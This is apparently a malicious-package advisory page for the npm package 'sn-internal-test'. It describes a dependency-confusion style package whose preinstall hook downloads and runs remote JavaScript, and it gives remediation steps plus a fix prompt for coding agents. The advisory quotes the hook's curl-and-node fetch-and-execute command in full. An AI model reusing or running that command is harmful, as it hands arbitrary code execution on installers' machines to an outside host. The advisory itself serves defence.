# MAL-2026-5645: Malicious code in sn-internal-test (npm)


- **Type:** Malicious package
- **Package:** `sn-internal-test` (npm)
- **Published:** 11 Jun 2026
- **Also known as:** GHSA-v675-j7jw-p6rm

## What is MAL-2026-5645?

MAL-2026-5645 is a malicious package in sn-internal-test, published on 11 Jun 2026. 

### Official description

package.json declares a preinstall lifecycle script that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js`. On any `npm install` of this package, the installer's machine fetches an unauthenticated, unpinned, mutable JavaScript file from an external author-controlled host and immediately executes it under Node.js with the installer's user privileges, overwriting the package's own index.js. The package describes itself as 'This is our internal app for testing' but is published to the public npm registry with no library functionality — the entire install-time effect is the remote fetch-and-execute. Whatever bytes are served at https://poc.amanrawat.com/hehe.js at install time become arbitrary code running on the installer's machine. The shape is consistent with a dependency-confusion proof-of-concept or active dropper: an internal-sounding name on public npm whose sole behavior is to pull and run remote code.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5645?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5645 is a malicious package: sn-internal-test (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5645/ (Markdown: https://insights.sbomify.com/MAL-2026-5645/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5645

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5645/
Summaries are generated and may contain mistakes; the official description above is the record.